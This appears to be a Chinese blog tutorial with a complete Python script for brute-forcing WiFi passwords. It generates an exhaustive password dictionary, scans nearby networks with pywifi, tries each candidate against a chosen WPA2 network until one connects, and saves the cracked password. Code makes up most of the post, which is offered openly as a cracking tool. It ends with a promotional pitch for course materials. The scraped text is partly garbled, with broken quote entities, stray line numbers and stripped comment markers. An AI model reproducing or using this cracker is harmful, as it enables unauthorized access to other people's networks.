1 生成字典文件(密码本)

def product_passwd(length):
    words = &39;1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&39;
    r = its.product(words,repeat=length)
    dic = open(&39;paswwer.txt&39;,&39;a&39;)
    
    for i in r:
        dic.write(&39;&39;.join(i))
        dic.write(&39;&39;.join(&39;\n&39;))
        print(i)
    
    dic.close()
    print(&39;密码本生成完毕!&39;)
123456789101112

2 搜索附近的wifi名称(生成wifi_ssid列表)

def getwifi():
    wifi=pywifi.PyWiFi() 
    ifaces=wifi.interfaces()[0]
    ifaces.scan()  
    time.sleep(3)   
    result = ifaces.scan_results()

    n=0
    print(&34;%12s%20s%20s&34;%(&34;【无线名称】&34;,&34;【mac地址】&34;,&34;【信号强度】&34;))
    print(&34;=&34;*60)
    for data in result:
        if(data.bssid not in maclist): 
            maclist.append(data.bssid)
            if n<=wificount:
                print(&34;%14s%30s%15s&34;%(data.ssid,data.bssid,data.signal))
                n=n+1
                time.sleep(2)
    print(&34;=&34;*60)
123456789101112131415161718

3 穷举字典中的组合

def readPassWord(self):
        print(&34;开始破解:&34;)
        while True:   
            try:
                passStr = str(self.file.readline())
                print(&34; 正在尝试:&34; + passStr)
                if not passStr:
                    break
                bool1 = self.test_connect(passStr)
                if bool1:
                    print(&34;恭喜你,找到密码! 正确密码为:&34; + passStr)
                    break
                else:
                    print(&34; 密码错误!\n&34;,&34;=&34;*35)
                    time.sleep(3)
            except: 
                continue
        with open(&39;result.txt&39;,&39;a+&39;) as fw: 
            fw.write(&39;WiFi名称:%s  密码:%s&39;%(wifiname,passStr))
            
1234567891011121314151617181920

4 验证WiFi是否连接成功

def test_connect(self, findStr):  
        profile = pywifi.Profile()  
        profile.ssid = wifiname 
        profile.auth = const.AUTH_ALG_OPEN  
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  
        profile.cipher = const.CIPHER_TYPE_CCMP  
        profile.key = findStr  
        self.iface.remove_all_network_profiles()  
        tmp_profile = self.iface.add_network_profile(profile)  
        self.iface.connect(tmp_profile) 
        time.sleep(3)
        if self.iface.status() == const.IFACE_CONNECTED: 
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  
        time.sleep(1)
        return isOK
123456789101112131415161718

【完整代码】

 -*- coding: utf-8 -*-


import time
import pywifi 
from pywifi import const
import itertools as its


maclist = []
wificount=15


def product_passwd(length):
    words = &39;1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&39;
    r = its.product(words,repeat=length)
    dic = open(&39;paswwer.txt&39;,&39;a&39;)
    
    for i in r:
        dic.write(&39;&39;.join(i))
        dic.write(&39;&39;.join(&39;\n&39;))
        print(i)
    
    dic.close()
    print(&39;密码本生成完毕!&39;)

product_passwd(input(&34;请输入要生成的密码本密码长度:&34;))    

def getwifi():
    wifi=pywifi.PyWiFi() 
    ifaces=wifi.interfaces()[0]
    ifaces.scan()  
    time.sleep(3)   
    result = ifaces.scan_results()

    n=0
    print(&34;%12s%20s%20s&34;%(&34;【无线名称】&34;,&34;【mac地址】&34;,&34;【信号强度】&34;))
    print(&34;=&34;*60)
    for data in result:
        if(data.bssid not in maclist): 
            maclist.append(data.bssid)
            if n<=wificount:
                print(&34;%14s%30s%15s&34;%(data.ssid,data.bssid,data.signal))
                n=n+1
                time.sleep(2)
    print(&34;=&34;*60)



class PoJie():
    def __init__(self, path):
        self.file = open(path, &34;r&34;, errors=&34;ignore&34;)
        wifi = pywifi.PyWiFi()  
        self.iface = wifi.interfaces()[0] 
        print(&34;获取到的无线网卡:&34;)
        print(self.iface.name())  
        self.iface.disconnect()  
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]  


    def readPassWord(self):
        print(&34;开始破解:&34;)
        while True:   
            try:
                passStr = str(self.file.readline())
                print(&34; 正在尝试:&34; + passStr)
                if not passStr:
                    break
                bool1 = self.test_connect(passStr)
                if bool1:
                    print(&34;恭喜你,找到密码! 正确密码为:&34; + passStr)
                    break
                else:
                    print(&34; 密码错误!\n&34;,&34;=&34;*35)
                    time.sleep(3)
            except: 
                continue
        with open(&39;result.txt&39;,&39;a+&39;) as fw: 
            fw.write(&39;WiFi名称:%s  密码:%s&39;%(wifiname,passStr))
            

    def test_connect(self, findStr):  
        profile = pywifi.Profile()  
        profile.ssid = wifiname 
        profile.auth = const.AUTH_ALG_OPEN  
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  
        profile.cipher = const.CIPHER_TYPE_CCMP  
        profile.key = findStr  
        self.iface.remove_all_network_profiles()  
        tmp_profile = self.iface.add_network_profile(profile)  
        self.iface.connect(tmp_profile) 
        time.sleep(3)
        if self.iface.status() == const.IFACE_CONNECTED: 
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  
        time.sleep(1)
        return isOK
 
    
    def __del__(self): 
        self.file.close()


getwifi()
wifiname = input(&34;请输入要破解的WiFi名称:&34;)   wifi名称)
path = input(&39;请输入字典文件路径:&39;)
r&34;D://Data/Python/wifi/dictionary.txt&34;
start = PoJie(path)
start.readPassWord()
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112

【思路框架】

感谢阅读!!!

多说一句,很多人学Python过程中会遇到各种烦恼问题,没有人解答容易放弃。小编是一名python开发工程师,这里有我自己整理了一套最新的python系统学习教程,包括从基础的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。想要这些资料的可以关注小编,并在后台私信小编:“01”即可领取。